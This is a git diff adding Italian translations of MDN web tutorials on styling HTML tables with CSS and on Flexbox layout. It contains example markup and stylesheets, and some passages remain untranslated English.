+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">The box model</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Backgrounds and borders</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Handling different text directions</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">Overflowing content</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Values and units</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Sizing items in CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, media, and form elements</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Styling tables</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Debugging CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizing your CSS</a></li>
+</ol>
diff --git a/files/it/learn/css/building_blocks/styling_tables/index.html b/files/it/learn/css/building_blocks/styling_tables/index.html
new file mode 100644
index 0000000000..990188c01c
--- /dev/null
+++ b/files/it/learn/css/building_blocks/styling_tables/index.html
@@ -0,0 +1,294 @@
+---
+title: Stili e tabelle
+slug: Learn/CSS/Building_blocks/Styling_tables
+translation_of: Learn/CSS/Building_blocks/Styling_tables
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Borders", "Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes")}}</div>
+
+<p class="summary">Applicare stili a tabelle HTML non è il lavoro più stimolante che esista, ma di tanto in tanto va fatto. Questo articolo vi guiderà nel compito di rendere gradevoli le tabelle HTML, usando gli attributi spiegati in articoli precedenti.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Basi HTML (vedi <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>), tabelle HTML (vedi il modulo tabelle HTML (TBD)), e un'idea di come funzioni un CSS (studia <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>.)</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivo:</th>
+   <td>Uso efficace degli stili su tabelle HTML.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Una_tipica_tabella_HTML">Una tipica tabella HTML</h2>
+
+<p>Iniziamo a vedere una tipica tabella HTML. Beh, diciamo tipica — gli esempi di tabella contengono scarpe, meteo, dipendenti; rendiamo le cose più interessanti usando le più famose band punk del Regno Unito. Il codice quindi sarà questo:</p>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;caption&gt;A summary of the UK's most famous punk bands&lt;/caption&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th scope="col"&gt;Band&lt;/th&gt;
+      &lt;th scope="col"&gt;Year formed&lt;/th&gt;
+      &lt;th scope="col"&gt;No. of Albums&lt;/th&gt;
+      &lt;th scope="col"&gt;Most famous song&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;Buzzcocks&lt;/th&gt;
+      &lt;td&gt;1976&lt;/td&gt;
+      &lt;td&gt;9&lt;/td&gt;
+      &lt;td&gt;Ever fallen in love (with someone you shouldn't've)&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;The Clash&lt;/th&gt;
+      &lt;td&gt;1976&lt;/td&gt;
+      &lt;td&gt;6&lt;/td&gt;
+      &lt;td&gt;London Calling&lt;/td&gt;
+    &lt;/tr&gt;
+
+     ... alcune righe rimosse per concisione
+
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;The Stranglers&lt;/th&gt;
+      &lt;td&gt;1974&lt;/td&gt;
+      &lt;td&gt;17&lt;/td&gt;
+      &lt;td&gt;No More Heroes&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+  &lt;tfoot&gt;
+    &lt;tr&gt;
+      &lt;th scope="row" colspan="2"&gt;Total albums&lt;/th&gt;
+      &lt;td colspan="2"&gt;77&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tfoot&gt;
+&lt;/table&gt;</pre>
+
+<p>La tabella è ben formata, è facile applicarle stili, è accessibile, grazie all'uso di attributi come {{htmlattrxref("scope","th")}}, {{htmlelement("caption")}}, {{htmlelement("thead")}}, {{htmlelement("tbody")}}, ecc. Però non ha un bell'aspetto quando vista su schermo (vedila su <a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-unstyled.html">punk-bands-unstyled.html</a>):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13064/table-unstyled.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Ha un aspetto rozzo, poco leggibile e noioso. Dobbiamo usare un po' di CSS per rimediare.</p>
+
+<h2 id="Apprendere_attivamente_Diamo_stile_alla_tabella">Apprendere attivamente: Diamo stile alla tabella</h2>
+
+<p>In questa sezione di apprendimento attivo daremo stile insieme alla nostra tabella.</p>
+
+<ol>
+ <li>Per iniziare, fai una copia in locale del <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-unstyled.html">codice di esempio</a>, scarica le immagini (<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/noise.png">noise</a> e <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/leopardskin.jpg">leopardskin</a>), e e metti i tre files in una directory di lavoro sul tuo computer.</li>
+ <li>Quindi, crea un nuovo file e salvalo col nome <code>style.css</code> nella stessa directory degli altri file.</li>
+ <li>Collega il file CSS all'interno del codice HTML scrivendo questa riga di HTML all'interno della sezione {{htmlelement("head")}}:
+  <pre class="brush: html">&lt;link href="style.css" rel="stylesheet" type="text/css"&gt;</pre>
+ </li>
+</ol>
+
+<h3 id="Spaziatura_e_layout">Spaziatura e layout</h3>
+
+<p>La prima cosa da fare è mettere ordine nella spaziatura/layout, visto che lo stile predefinito è davvero rozzo! Per ottenere questo risultato, mettiamo queste definizioni CSS al file <code>style.css</code>:</p>
+
+<pre class="brush: css">/* spaziatura */
+
+table {
+  table-layout: fixed;
+  width: 100%;
+  border-collapse: collapse;
+  border: 3px solid purple;
+}
+
+thead th:nth-child(1) {
+  width: 30%;
+}
+
+thead th:nth-child(2) {
+  width: 20%;
+}
+
+thead th:nth-child(3) {
+  width: 15%;
+}
+
+thead th:nth-child(4) {
+  width: 35%;
+}
+
+th, td {
+  padding: 20px;
+}</pre>
+
+<p>Le definizioni più importanti da notare sono:</p>
+
+<ul>
+ <li>Impostare il valore di {{cssxref("table-layout")}} a <code>fixed</code> è una buona idea per le tabelle: ne renderà l'aspetto di default più prevedibile. Di norma, le colonne adattano la loro larghezza in base ai contenuti, il che può portare a strani risultati. Con <code>table-layout: fixed</code>, puoi dimensionare le colonne in base alla larghezza delle intestazioni, e far fluire i contenuti di conseguenza. Ecco perché selezionare le 4 intestazioni con <code>thead th:nth-child(<em>n</em>)</code> ({{cssxref(":nth-child")}})  ("Seleziona il figlio <em>n</em>esimo in una sequenza di elementi {{htmlelement("th")}}, dentro un elemento {{htmlelement("thead")}}") e ne impostarne la larghezza in percentuale. L'intera colonna avrà la larghezza dell'intestazione; e le colonne sono a posto. Chris Coyier parla in dettaglio di questa tecnica in <a href="https://css-tricks.com/fixing-tables-long-strings/">Fixed Table Layouts</a>.<br>
+  <br>
+  A questo associamo un {{cssxref("width")}} al 100%, cioè la tabella riempie in larghezza il suo contenitore, in automatico (anche se ci vuole del lavoro per farcela stare su schermi molto stretti).</li>
+ <li>Impostare l'attributo {{cssxref("border-collapse")}} a <code>collapse</code> è ormai una buona pratica standard. Per default, se imposti i bordi alle caselle, avranno un spazio tra loro, come mostrato dall'immagine: <img alt="" src="https://mdn.mozillademos.org/files/13068/no-border-collapse.png" style="display: block; margin: 0 auto;"> Non è bellissimo da vedere (anche se magari è ciò che volevi). Con <code>border-collapse: collapse;</code> i bordi collassano diventando singoli, e l'aspetto migliora notevolmente: <img alt="" src="https://mdn.mozillademos.org/files/13066/border-collapse.png" style="display: block; margin: 0 auto;"></li>
+ <li>Abbiamo messo un {{cssxref("border")}} intorno alla tabella: <span class="tlid-translation translation" lang="it"><span title="">serve perché poi metteremo dei bordi attorno a intestazione e footer della tabella. L'aspetto sarebbe strano e sconnesso senza un bordo intorno</span> <span title="">alla tabella e avremmo anche spazi vuoti</span></span>.</li>
+ <li>Impostiamo anche del {{cssxref("padding")}} nei {{htmlelement("th")}} e nei {{htmlelement("td")}} — questo darà un respiro maggiore ai dati rendendo la tabella più leggibile.</li>
+</ul>
+
+<p>A uesto punto, la nostra tabella ha già un aspetto molto migliore:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13070/table-with-spacing.png" style="display: block; margin: 0 auto;"></p>
+
+<h3 id="Semplici_concetti_tipografici">Semplici concetti tipografici</h3>
+
+<p>Ora diamo una sistemata al contenuto.</p>
+
+<p>Innanzi tutto, abbiamo trovato un font su <a href="https://www.google.com/fonts">Google Fonts</a> intonato alle nostre band punk. Puoi andare a sceglierne uno diverso se vuoi; devi solo sostituire l'elemento {{htmlelement("link")}} e la {{cssxref("font-family")}} con quelli che Google Fonts ti fornirà.</p>
+
+<p>Prima, inserisci il seguente elemento {{htmlelement("link")}} nella sezione head, prima dell'altro elemento <code>&lt;link&gt;</code>:</p>
+
+<pre class="brush: html">&lt;link href='https://fonts.googleapis.com/css?family=Rock+Salt' rel='stylesheet' type='text/css'&gt;</pre>
+
+<p>Ora aggiungi in testa al tuo file <code>style.css</code> i seguenti attributi CSS:</p>
+
+<pre class="brush: css">/* tipografia */
+
+html {
+  font-family: 'helvetica neue', helvetica, arial, sans-serif;
+}
+
+thead th, tfoot th {
+  font-family: 'Rock Salt', cursive;
+}
+
+th {
+  letter-spacing: 2px;
+}
+
+td {
+  letter-spacing: 1px;
+}
+
+tbody td {
+  text-align: center;
+}
+
+tfoot th {
+  text-align: right;
+}</pre>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Non c'è nulla di specifico per tabelle;</span> <span title="">in generale impostiamo lo stile dei caratteri per rendere tutto di più facile lettura</span></span>:</p>
+
+<ul>
+ <li>We have set a global sans-serif font stack; this is purely a stylistic choice. We've also set our custom font on the headings inside the {{htmlelement("thead")}} and {{htmlelement("tfoot")}} elements, for a nice grungy, punky look.</li>
+ <li>We've set some {{cssxref("letter-spacing")}} on the headings and cells, as we feel it aids readability. Again, mostly a stylistic choice.</li>
+ <li>We've center-aligned the text in the table cells inside the {{htmlelement("tbody")}} so that they line up with the headings. By default, cells are given a {{cssxref("text-align")}} value of <code>left</code>, and headings are given a value of <code>center</code>, but generally it looks better to have the alignments set the same for both. The default bold weight on the heading fonts is enough to differentiate their look.</li>
+ <li>We've right-aligned the heading inside the {{htmlelement("tfoot")}} so that it is visually associated better with its data point.</li>
+</ul>
+
+<p>The result looks a bit neater:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13072/table-with-typography.png" style="display: block; margin: 0 auto;"></p>
+
+<h3 id="Grafica_e_colori">Grafica e colori</h3>
+
+<p>Now onto graphics and colors! Because the table is full of punk and attitude, we need to give it some bright imposing styling to suit. Don't worry, you don't have to make your tables this loud — you can opt for something more subtle and tasteful.</p>
+
+<p>Start by adding the following CSS to your style.css file, again at the bottom:</p>
+
+<pre class="brush: css">thead, tfoot {
+  background: url(leopardskin.jpg);
+  color: white;
+  text-shadow: 1px 1px 1px black;
+}
+
+thead th, tfoot th, tfoot td {
+  background: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5));
+  border: 3px solid purple;
+}
+</pre>
+
+<p>Again, there's nothing specific to tables here, but it is worthwhile to note a few things.</p>
+
+<p>We've added a {{cssxref("background-image")}} to the {{htmlelement("thead")}} and {{htmlelement("tfoot")}}, and changed the {{cssxref("color")}} of all the text inside the header and footer to white (and given it a {{cssxref("text-shadow")}}) so it is readable. You should always make sure your text contrasts well with your background, so it is readable.</p>
+
+<p>We've also added a linear gradient to the {{htmlelement("th")}} and {{htmlelement("td")}} elements inside the header and footer for a nice bit of texture, as well as giving those elements a bright purple border. It is useful to have multiple nested elements available so you can layer styles on top of one another. Yes, we could have put both the background image and the linear gradient on the {{htmlelement("thead")}} and {{htmlelement("tfoot")}} elements using multiple background images, but we decided to do it separately for the benefit of older browsers that don't support multiple background images or linear gradients.</p>
+
+<h4 id="Zebra_striping">Zebra striping</h4>
+
+<p>We wanted to dedicate a separate section to showing you how to implement <strong>zebra stripes</strong> — alternating rows of color that make the different data rows in your table easier to parse and read. Add the following CSS to the bottom of your <code>style.css</code> file:</p>
+
+<pre class="brush: css">tbody tr:nth-child(odd) {
+  background-color: #ff33cc;
+}
+
+tbody tr:nth-child(even) {
+  background-color: #e495e4;
+}
+
+tbody tr {
+  background-image: url(noise.png);
+}
+
+table {
+  background-color: #ff33cc;
+}</pre>
+
+<ul>
+ <li>Earlier on you saw the {{cssxref(":nth-child")}} selector being used to select specific child elements. It can also be given a formula as a parameter, so it will select a sequence of elements. The formula <code>2n-1</code> would select all the odd numbered children (1, 3, 5, etc.) and the formula <code>2n</code> would select all the even numbered children (2, 4, 6, etc.) We've used the <code>odd</code> and <code>even</code> keywords in our code, which do exactly the same things as the aforementioned formulae. In this case we are giving the odd and even rows different (lurid) colors.</li>
+ <li>We've also added a repeating background tile to all the body rows, which is just a bit of noise (a semi-transparent <code>.png</code> with a bit of visual distortion on it) to provide some texture.</li>
+ <li>Lastly, we've given the entire table a solid background color so that browsers that don't support the <code>:nth-child</code> selector still have a background for their body rows.</li>
+</ul>
+
+<p>This color explosion results in the following look:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13074/table-with-color.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Now, this may be a bit over the top and not to your taste, but the point we are trying to make here is that tables don't have to be boring and academic.</p>
+
+<h3 id="Stile_del_titolo">Stile del titolo</h3>
+
+<p>There is one last thing to do with our table — style the caption. To do this, add the following to the bottom of your <code>style.css</code> file:</p>
+
+<pre class="brush: css">caption {
+  font-family: 'Rock Salt', cursive;
+  padding: 20px;
+  font-style: italic;
+  caption-side: bottom;
+  color: #666;
+  text-align: right;
+  letter-spacing: 1px;
+}</pre>
+
+<p>There is nothing remarkable here, except for the {{cssxref("caption-side")}} property, which has been given a value of <code>bottom</code>. This causes the caption to be positioned on the bottom of the table, which along with the other declarations gives us this final look (see it live at <a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">punk-bands-complete.html</a>):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13076/table-with-caption.png" style="display: block; height: 357px; margin: 0px auto; width: 723px;"></p>
+
+<h2 id="Apprendere_attivamente_Uno_stile_per_la_tua_tabella">Apprendere attivamente: Uno stile per la tua tabella</h2>
+
+<p>At this point, we'd like you to take our example table HTML (or use some of your own!) and style it to make something considerably better designed and less garish than our table.</p>
+
+<h2 id="Trucchi_per_gli_stili_delle_tabelle">Trucchi per gli stili delle tabelle</h2>
+
+<p>Before moving on, we thought we'd provide you with a quick list of the most useful points illustrated above:</p>
+
+<ul>
+ <li>Make your table markup as simple as possible, and keep things flexible, e.g. by using percentages, so the design is more responsive.</li>
+ <li>Use {{cssxref("table-layout")}}<code>: fixed</code> to create a more predictable table layout that allows you to easily set column widths by setting {{cssxref("width")}} on their headings ({{htmlelement("th")}}).</li>
+ <li>Use {{cssxref("border-collapse")}}<code>: collapse</code> to make table elements borders collapse into each other, producing a neater and easier to control look.</li>
+ <li>Use {{htmlelement("thead")}}, {{htmlelement("tbody")}}, and {{htmlelement("tfoot")}} to break up your table into logical chunks and provide extra places to apply CSS to, so it is easier to layer styles on top of one another if required.</li>
+ <li>Use zebra striping to make alternative rows easier to read.</li>
+ <li>Use {{cssxref("text-align")}} to line up your {{htmlelement("th")}} and {{htmlelement("td")}} text, to make things neater and easier to follow.</li>
+</ul>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>With the dizzy exciting heights of styling tables now behind us, we need something else to occupy our time. Never fear — the next chapter provides a look at some advanced box effects, some of which have only landed in browsers very recently (such as blend modes and filters), and some of which are a bit more established (such as box shadows.)</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Borders", "Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes")}}</p>
+
+<h2 id="In_questo_modulo">In questo modulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/Box_model_recap">Box model recap</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/Backgrounds">Backgrounds</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/Borders">Borders</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/Styling_tables">Styling tables</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/Advanced_box_effects">Advanced box effects</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper">Creating fancy letterheaded paper</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/A_cool_looking_box">A cool looking box</a></li>
+</ul>
diff --git a/files/it/learn/css/css_layout/flexbox/index.html b/files/it/learn/css/css_layout/flexbox/index.html
new file mode 100644
index 0000000000..cc88b74d61
--- /dev/null
+++ b/files/it/learn/css/css_layout/flexbox/index.html
@@ -0,0 +1,344 @@
+---
+title: Flexbox
+slug: Learn/CSS/CSS_layout/Flexbox
+translation_of: Learn/CSS/CSS_layout/Flexbox
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}</div>
+
+<div><a href="/it/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox </a>è un metodo di layout monodimensionale per disporre i componenti in righe oppure in colonne. Quando l'area che li contiene aumenta, i componenti si espandono per colmarne lo spazio, quando invece si restringe anche i componenti si restringono.<br>
+Questo articolo comprende i concetti fondamentali.</div>
+
+<div></div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Le basi di HTML (leggi <a href="/it/docs/Learn/HTML/Introduction_to_HTML">Introduzione a HTML</a>) e nozioni sul funzionamento del CSS (leggi <a href="/en-US/docs/Learn/CSS/First_steps">Introduzione a CSS</a>.)</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivo:</th>
+   <td>Apprendere l'utilizzo di Flexbox per impostare il layout delle pagine web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Perchè_Flexbox">Perchè Flexbox?</h2>
+
+<p>Per molto tempo, le uniche tecniche affidabili per creare layout CSS compatibili con tutti i browser utilizzavano <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Floats">elementi float</a> e <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Floats">posizionamento</a>. Funzionavano a sufficienza, ma erano per alcuni aspetti limitati e frustranti.</p>
+
+<p>Per esempio con quelle tecniche era difficile o del tutto impossibile definire in maniera flessibile e vantaggiosa le seguenti impostazioni:</p>
+
+<ul>
+ <li>Centrare verticalmente un blocco di contenuti all'interno del proprio contenitore.</li>
+ <li>Fare in modo che i figli di un contenitore occupino lo stesso spazio in larghezza o altezza indipendentemente dalle dimensioni del contenitore stesso.</li>
+ <li>Fare in modo che in un layout multicolonna, le colonne siano ugualmente alte anche se i loro contenuti differiscono per lunghezza.</li>
+</ul>
+
+<p>Nelle sezioni seguenti apprenderemo come flexbox faciliti notevolmente questi compiti. Iniziamo!</p>
+
+<h2 id="Introduzione_a_un_semplice_esempio">Introduzione a un semplice esempio</h2>
+
+<p>Questo articolo presenta una serie di esercizi per aiutare a comprendere il funzionamento di flexbox. Per cominciare copiamo in locale il file di partenza <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html">flexbox0.html</a> presente in github. Carichiamolo con un browser moderno, ad esempio Firefox o Chrome e facciamo attenzione al codice nell'editor. É possibile in alternativa visionarlo attraverso la <a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox0.html">versione live</a>.</p>
+
+<p><img alt="Image showing the starting point of Flexbox tutorial" src="https://i.imgur.com/Bih741v.png" style="height: 670px; width: 1310px;"></p>
+
+<p>Come vediamo la pagina è formata da un {{htmlelement("header")}} contenente il titolo principale, poi un elemento {{htmlelement("section")}} che contiene tre {{htmlelement("article")}}. Partiamo da questa situazione per creare un layout a tre colonne abbastanza comune.</p>
+
+<h2 id="Individuare_gli_elementi_da_impostare_come_box_flessibili">Individuare gli elementi da impostare come box flessibili</h2>
+
+<p>Per cominciare occorre scegliere il gruppo di elementi che devono apparire come box flessibili; per farlo occorre impostare un valore particolare della proprietà {{cssxref("display")}} del loro elemento padre. In questo caso specifico desideriamo sistemare gli elementi {{htmlelement("article")}}, perciò agiamo sul loro contenitore {{htmlelement("section")}}:</p>
+
+<pre class="brush: css  notranslate">section {
+  display: flex;
+}</pre>
+
+<p>Questa impostazione trasforma &lt;section&gt; in un <strong>contenitore flex</strong> e gli elementi figli in <strong>componenti flex</strong>. Questo è l'aspetto che otteniamo:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13408/flexbox-example2.png" style="border-style: solid; border-width: 1px; display: block; height: 348px; margin: 0px auto; width: 800px;"></p>
+
+<p>Proprio così: con questa semplice regola abbiamo già ottenuto tutto ciò che volevamo! Il layout diventa multicolonna e le colonne che lo formano sono della medesima larghezza e lunghezza. Tutto ciò avviene grazie ai componenti flex, cioè i figli del contenitore impostato come flex, che, grazie a valori predefiniti, risolvono automaticamente problemi tipici come questo.</p>
+
+<p>Ripassiamo cosa è avvenuto: l'elemento il cui valore di  {{cssxref("display")}} è <code>flex</code> si comporta come un elemento blocco all'interno della pagina, ma i suoi figli vengono disposti come componenti flex. Nella prossima sezione capiremo meglio che cosa significa. Notiamo che in alternativa possiamo usare il valore <code>inline-flex</code> per <code>display</code> cosicché gli elementi figlio diventano comunque componenti flex, ma il contenitore si comporta come un elemento in linea.</p>
+
+<h2 id="Il_modello_flex">Il modello flex</h2>
+
+<p>In qualità di componenti flex, gli elementi si dispongono lungo due assi:</p>
+
+<p><img alt="flex_terms.png" class="default internal" src="/files/3739/flex_terms.png" style="display: block; margin: 0px auto;"></p>
+
+<ul>
+ <li>L’<strong>asse principale</strong> (main axis) è l'asse che traccia la direzione lungo la quale i componenti si dispongono, corrispondente in senso orizzontale alle righe oppure in senso verticale alle colonne. Definiamo l'inizio e la fine di questo asse <strong>inizio dell'asse principale</strong> (main start) e <strong>termine dell'asse principale</strong> (main end).</li>
+ <li>L’<strong>asse traverso</strong> (cross axis) è l'asse perpendicolare alla direzione dei componenti flex. Definiamo l'inizio e la fine di questo asse <strong>inizio dell'asse traverso</strong> (cross start) e <strong>termine dell'asse traverso</strong> (cross end).</li>
+ <li>L'elemento su cui viene impostata la regola <code>display: flex</code>, che nel nostro esempio è {{htmlelement("section")}} è chiamato <strong>contenitore flex</strong> (flex container).</li>
+ <li>Gli elementi disposti come box flessibili all'interno del contenitore flex vengono chiamati <strong>componenti flex</strong> (flex items), che nel nostro caso sono gli elementi {{htmlelement("article")}}.</li>
+</ul>
+
+<p>Si tengano a mente queste definizioni durante le sezioni successive. In caso di confusione con i termini potete comunque tornare a rileggere questa sezione.</p>
+
+<h2 id="Colonne_o_righe">Colonne o righe?</h2>
+
+<p>Flexbox offre una proprietà chiamata flex-direction {{cssxref("flex-direction")}} che indica quale direzione deve seguire l'asse principale, ovvero come vengono disposti i contenuti flexbox;il valore predefinito è <code>row</code>, in modo che i contenuti si schierino in riga secondo il verso della lingua preimpostata dal browser, che per le quelle occidentali è da sinistra a destra.</p>
+
+<p>Proviamo ad aggiungere la seguente dichiarazione alle regole di {{htmlelement("section")}}:</p>
+
+<pre class="brush: css  notranslate">flex-direction: column;</pre>
+
+<p>Come vediamo i componenti tornano a schierarsi in colonna, come in un il flusso normale senza aggiungere CSS. Cancelliamo pure questa dichiarazione dall'esercizio, prima di continuare.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Potremmo anche invertire la disposizione dei componenti flex utilizzando i valori <code>row-reverse</code> o <code>column-reverse</code>. Sono da sperimentare!</p>
+</div>
+
+<h2 id="Effettuare_il_Wrapping">Effettuare il Wrapping</h2>
+
+<p>Il problema che sorge nel layout quando la larghezza o l'altezza vengono esplicitate è che il gruppo dei contenuti flexbox potrebbe eccedere il limite del contenitore, guastando il layout. Diamo un'occhiata all'esempio <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox-wrap0.html">flexbox-wrap0.html</a>,di cui viene fornita la <a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox-wrap0.html">visione live</a>. Per eseguire le procedure mostrate da questo punto in poi, salvate una copia del file in locale.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13410/flexbox-example3.png" style="display: block; height: 646px; margin: 0px auto; width: 800px;"></p>
+
+<p>Come vediamo i contenuti figli eccedono effettivamente il limite del loro contenitore. Una possibile soluzione consiste nell'aggiungere la seguente dichiarazione alle regole di {{htmlelement("section")}}:</p>
+
+<pre class="brush: css  notranslate">flex-wrap: wrap;</pre>
+
+<p>Proviamo anche ad aggiungere la seguente dichiarazione alle regole di {{htmlelement("article")}}:</p>
+
+<pre class="brush: css  notranslate">flex: 200px;</pre>
+
+<p>Ricaricando possiamo notare il miglioramento che abbiamo ottenuto grazie queste modifiche.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13412/flexbox-example4.png" style="display: block; height: 646px; margin: 0px auto; width: 800px;">Adesso possiamo notare che si sono formate un certo numero di righe, ovviamente tante quante ne servono per tutti i contenuti flexbox: quando un contenuto eccede i limiti, scala alla riga successiva. L'impostazione <code>flex: 200px</code> dichiarata per gli articoli significa che ognuno di essi occuperà almeno 200px; questa proprietà verrà discussa con maggior dettaglio più avanti nell'articolo. Notiamo anche che ciascuno degli ultimi contenuti che occupano l'ultima riga è molto più largo in modo da riempirla completamente.</p>
+
+<p>Possiamo sperimentare ancora: innanzitutto assegnare alla proprietà {{cssxref("flex-direction")}} il valore <code>row-reverse</code>, così da ottenere un layout con numerose righe come il precedente in cui però i contenuti si schierano a partire dall'angolo opposto della finestra del browser e fluiscono in maniera inversa.</p>
+
+<h2 id="La_forma_contratta_flex-flow">La forma contratta flex-flow</h2>
+
+<p>Occorre notare a questo punto che esiste una forma contratta, {{cssxref("flex-flow")}, per le proprietà {{cssxref("flex-direction")}} e {{cssxref("flex-wrap")}} — }. É possibile per esempio sostituire</p>
+
+<pre class="brush: css  notranslate">flex-direction: row;
+flex-wrap: wrap;</pre>
+
+<p>con</p>
+
+<pre class="brush: css  notranslate">flex-flow: row wrap;</pre>
+
+<h2 id="Dimensionamento_flessibile_dei_componenti_flex">Dimensionamento flessibile dei componenti flex</h2>
+
+<p>Ora torniamo al primo esempio per capire come determinare la proporzione che occupa ogni componente flex nello spazio rispetto ai componenti suoi pari. Riapriamo il file locale <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html">flexbox0.html</a>, oppure, come punto di partenza, prendiamo il nuovo file <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox1.html">flexbox1.html</a> di cui viene fornita anche la<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox1.html"> versione live</a>.</p>
+
+<p>Cominciamo aggiungendo la seguente regola al termine del nostro CSS:</p>
+
+<pre class="brush: css  notranslate">article {
+  flex: 1;
+}</pre>
+
+<p>Si indica in questo modo un valore proporzionale, privo di unità di misura, che determina lo spazio che occupa ogni componente flex rispetto agli altri. In questo caso tutti gli elementi {{htmlelement("article")}} hanno valore 1, il che significa, al netto di spaziature interne (padding) ed esterne (margin), che lo spazio verrà equamente ripartito tra tutti i componenti. Questo è un valore relativo a tutti i componenti flex del medesimo gruppo, perciò, se invece di 1 viene scritto un altro valore, 400000 ad esempio, otteniamo lo stesso risultato.</p>
+
+<p>Di seguito scriviamo questa regola:</p>
+
+<pre class="brush: css  notranslate">article:nth-of-type(3) {
+  flex: 2;
+}</pre>
+
+<p>Si noti, dopo aver ricaricando la pagina, che il terzo componente {{htmlelement("article")}} riempie il doppio dello spazio occupato da ciascuno degli altri due. Lo spazio totale è ora diviso in quattro, cioè una spaziatura per il primo elemento, una per il secondo e due per il terzo (1+1+2=4), quindi il primo e il secondo occupano un quarto (1/4) di spazio ciascuno mentre il terzo ne occupa due quarti (2/4) ovvero la metà.</p>
+
+<p>Si può anche specificare una misura reale minima al di sotto del quale non è possibile andare. Correggiamo le regole degli articoli in questo modo:</p>
+
+<pre class="brush: css  notranslate">article {
+  flex: 1 200px;
+}
+
+article:nth-of-type(3) {
+  flex: 2 200px;
+}</pre>
+
+<p>Con queste regole affermiamo fondamentalmente quanto segue: "Ogni componente flex occupa almeno 200px nello spazio a disposizione, mentre lo spazio che rimane viene occupato rispettando le unità proporzionali." Ricaricando la pagina possiamo notare la differenza nella ripartizione delle spaziature.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13406/flexbox-example1.png" style="border-style: solid; border-width: 1px; display: block; height: 324px; margin: 0px auto; width: 800px;"></p>
+
